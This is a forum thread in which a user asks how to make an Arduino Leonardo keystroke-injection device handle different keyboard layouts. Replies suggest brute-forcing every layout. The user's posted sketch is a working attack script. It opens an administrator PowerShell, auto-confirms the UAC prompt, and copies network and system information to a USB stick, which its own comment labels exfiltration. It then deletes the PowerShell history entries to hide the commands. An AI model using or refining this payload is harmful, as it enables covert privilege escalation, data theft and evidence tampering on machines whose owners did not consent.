I have an arduino leonardo and I enjoy programming with arduino IDE, simply I would like to do an operation that when I insert the USB key launches me automatically win + r and opens powershell with options, (powershell start-process -verb runas), only that based on the keyboard layout the powershell command is executed perfectly or not, I have the problem of "-" and "/", how can I make my arduino leonardo automatically recognize the layout set by the operating system in order to launch the commands correctly? Let me explain;
If the OS has set the layout to en-EN then run this code: or run the other code (it-IT), should I create a condition in the keyboard.h library? Can you help me do it please?
The problem is not only if I have to open win + r and write powershell start-process -verb runas but it changes all the code (all special characters) so when by mistake the keyboard layout is wrong, the PC where I attach the key could freeze or generate many errors on powershell
I also thought about creating conditions on powershell in order to query the keyboard layout and run the script according to the layout but the problem always arises of launching the string powershell start-process -verb runas with win + r or I had thought of change the keyboard layout with a powershell command but obviously it is not said that that layout on the OS is installed, but here we always have the problem of the initial string "powershell start-process -verb runas" that is the character "-" which in en- US is changed to "/"
One problem, I'm not sure because I haven't used HID yet, but you may not have USB serial functionality once HID is running... which makes #4 a problem.
No problem, just send the right string for every possible keyboard layout. ONE of them will work and get you into powershell. The rest will cause various errors. Then send the command to set the layout to US English, in every possible keyboard layout.
The code does nothing but open wingui, launch powershell as administrator (sudo terminal) and write commands, the problem always remains in the initial string in wingui + r (powershell start-process -verb runas), because the arduino USB must understand how to write that string in order to behave consequently on how to write commands, with a type of keyboard or another type of keyboard, this is an example code, it is a behavior similar to a rubberducky stick, thank you in advance waiting for help
#include <Keyboard.h>
// Init function
void setup()
{
// Begining the stream
Keyboard.begin();
// Waiting 500ms for init
delay(500);
// Start delay
delay(1000);
delay(300);
// deploy RUN with WINGUI
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(114);
Keyboard.releaseAll();
delay(300);
Keyboard.print("powershell Start-Process powershell -Verb runAs");
Keyboard.press(KEY_RETURN);
// This delay lets slow/old computers execute the PowerShell properly
delay(2000);
// On Windows 8+ the popup of UAC is not auto selected
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('S');
Keyboard.releaseAll();
delay(500);
//external USB reconnaissance and exfiltration
Keyboard.println("$usb = (gwmi win32_volume -f "Label='ESD-USB'").Name");
Keyboard.press(KEY_RETURN);
Keyboard.print("ipconfig | Out-File -FilePath $usb\ipconfig.txt");
Keyboard.press(KEY_RETURN);
Keyboard.print("get-computerinfo | Out-File -FilePath $usb\sysinfo.txt");
Keyboard.press(KEY_RETURN);
// Remove history of powershell (last 3 command)
Keyboard.println("(Get-Content C:\\Users\\$env:USERNAME\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt | Select-Object -SkipLast 3) | Set-Content C:\\Users\\$env:USERNAME\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt");
Keyboard.press(KEY_RETURN);
//delay(300);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.releaseAll();
Keyboard.end();
}
void loop() {}